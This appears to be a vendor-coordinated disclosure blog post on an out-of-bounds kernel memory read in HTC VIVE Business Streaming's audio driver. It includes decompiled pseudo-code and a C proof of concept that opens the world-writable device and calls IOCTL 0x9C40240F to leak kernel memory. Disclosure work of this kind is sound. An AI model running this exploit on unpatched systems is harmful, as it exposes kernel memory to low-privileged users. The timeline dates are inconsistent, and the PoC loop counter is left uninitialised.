Skip to content
arrow-alt-circle-up icon

Cyber Incident Call

arrow-alt-circle-up icon

00800 1744 0000

arrow-alt-circle-up icon

Author: Tijme Gommers

Our reverse engineering team discovered an out of bound memory read vulnerability in VIVE’s Business Streaming software. HTC Corporation fixed the vulnerability after we reported it to them via our Coordinated Vulnerability Disclosure (CVD) program.

VIVE VR

VIVE, sometimes referred to as HTC VIVE, is a virtual reality brand of HTC Corporation. According to their website, it consists of hardware like its virtual reality headsets and accessories, virtual reality software and services, and initiatives that promote applications of virtual reality in sectors like business, arts, and video gaming. VIVE provides drivers for their virtual reality headsets that must be installed to use the hardware.

One of its kernel drivers creates a device which is readable and writable by any user on the system. Its .inf file contains the following SDDL: D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGWGX;;;WD)(A;;GRGWGX;;;RC). A human readable description has been included below.

DiscretionaryAcl : {
   Everyone: AccessAllowed (GenericExecute, GenericRead, GenericWrite),
   NT AUTHORITY\RESTRICTED: AccessAllowed (GenericExecute, GenericRead, GenericWrite),
   NT AUTHORITY\SYSTEM: AccessAllowed (GenericAll),
   BUILTIN\Administrators: AccessAllowed (GenericExecute, GenericRead, GenericWrite)
}

Accessible devices like these maybe abused by (low-privileged) users on a system, to perform kernel exploitation. The chapters below outline the out of bounds memory read vulnerability that we discovered. The setup can be downloaded from their website.

Vulnerability

Device control

Loading the corresponding driver in IDA presents us with a DriverEntry function. A few functions deeper, the MajorFunction array of the DRIVER_OBJECT is initiated.

driver->MajorFunction[27] = (PDRIVER_DISPATCH)sub_FFFFF80755160C10;
driver->DriverUnload = (PDRIVER_UNLOAD)sub_FFFFF80755161CB0;
driver->MajorFunction[14] = (PDRIVER_DISPATCH)sub_FFFFF80755161890;
driver->MajorFunction[0] = (PDRIVER_DISPATCH)sub_FFFFF80755160F40;
driver->MajorFunction[2] = (PDRIVER_DISPATCH)sub_FFFFF80755160F40;

The function sub_FFFFF80755161890 is set as IRP_MJ_DEVICE_CONTROL callback. The function has a validation mechanism to ensure that specific functionality only runs if the given IOCTL is defined and allowed. If not, it calls the default IRP_MJ_DEVICE_CONTROL function set on initialisation of the driver object.

Vulnerable IOCTL

The IRP_MJ_DEVICE_CONTROL callback contains a common IOCTL switch statement, which can be quickly identified if you are familiar with IDA’s graph overview. There are several IOCTL’s defined. Most do not seem to be vulnerable, except the last one in the code: IOCTL 0x9C40240F.

This IOCTL seems to be for testing purposes, as it copies the string This String is from Device Driver !!! to the SystemBuffer. However, instead of copying memory using the size of the testing string, it copies memory based on the size of the output buffer. Psuedo-code of the function has been partially included below. The vunerability exists in the qmemcpy line.

case 0x9C40240F:
   Type3InputBufferV1 = stackLocation->Parameters.DeviceIoControlV1.Type3InputBuffer;
   UserBufferV1 = irp->UserBuffer;
   -- snip --
   MemoryDescriptorList = IoAllocateMdl(UserBufferV1, OutputBufferLength, 0, 1u, 0i64);
   if ( MemoryDescriptorList ) {
     MmProbeAndLockPages(MemoryDescriptorList, 1, 1);
     mappedMDL = GetMappedMDL(MemoryDescriptorList, 0x40000010);
     if (mappedMDL) {
       qmemcpy(mappedMDL, stringfromDeviceDriver1, OutputBufferLength);
       -- snip --
       irp->IoStatus.Information = OutputBufferLengthTempV2;
     } else {
       MmUnlockPages(MemoryDescriptorList);
       IoFreeMdl(MemoryDescriptorList);
       ReturnStatus = 0xC000009A;
     }
   } else {
     ReturnStatus = 0xC000009A;
   }
}

Exploit

Open handle to driver device

We need to open a handle to the vulnerable driver device. This can be done using CreateFile.

/**
* Open handle to device.
*
* @param int argc Amount of arguments in argv.
* @param char** Array of arguments passed to the program.
*/
void main(int argc, char** argv) {
   // Open a handle to the driver device
   HANDLE hDevice = CreateFile(L"\\\\.\\VBSAudio", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
   if (hDevice == INVALID_HANDLE_VALUE) {
       puts("[!] Failed to open handle, check if driver is running with winobj.");
       PrintLastError();
      return;
   }
}

Trigger out of bounds read

The next step is to trigger the IOCTL and perform the out of bounds read. This can be achieved with the following code. A buffer and size of 0x1000 is passed to the driver, while the string that the driver is copying is only 0x26 bytes long.

struct PAYLOAD
{
   char Reader[0x1000]; // 0
};

/**
* Trigger the exploit.
*/
void triggerExploit(HANDLE hDevice) {
   uint32_t lpBytesReturned;

   struct PAYLOAD* payload = calloc(1, sizeof(struct PAYLOAD));

   // Initialize 0
   for (size_t i; i < 0x1000; i ++) {
       payload->Reader[i] = 0;
   }

   if (!DeviceIoControl(hDevice, 0x9C40240F, payload, sizeof(struct PAYLOAD), payload, sizeof(struct PAYLOAD), &lpBytesReturned, NULL)) {
       printf("[!] DeviceIoControl error.\n");
       PrintLastError();
   } else {
       puts("[+] Triggered exploit.");
       printInHex(payload->Reader, 0x1000);
       puts("[+] Finished.");
   }
}

Timeline

  • 12-09-2023 - Initial notice to HTC and request for security contact.
  • 23-10-2023 - First reply from HTC requesting more information.
  • 24-09-2023 - Sent full vulnerability details to HTC Security Team.
  • 15-12-2023 - HTC released a patch for the vulnerability.
  • 15-01-2024 - Public release of this blog post.

Impacted Versions

At least the following version is affected (and likely also lower versions).

  • ViveRRServerOnlineInstaller.exe version 1.0.0.19 (installer)
  • ViveRRaudio.sys version 0.1.11.7 (driver)

CVSS

3.3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N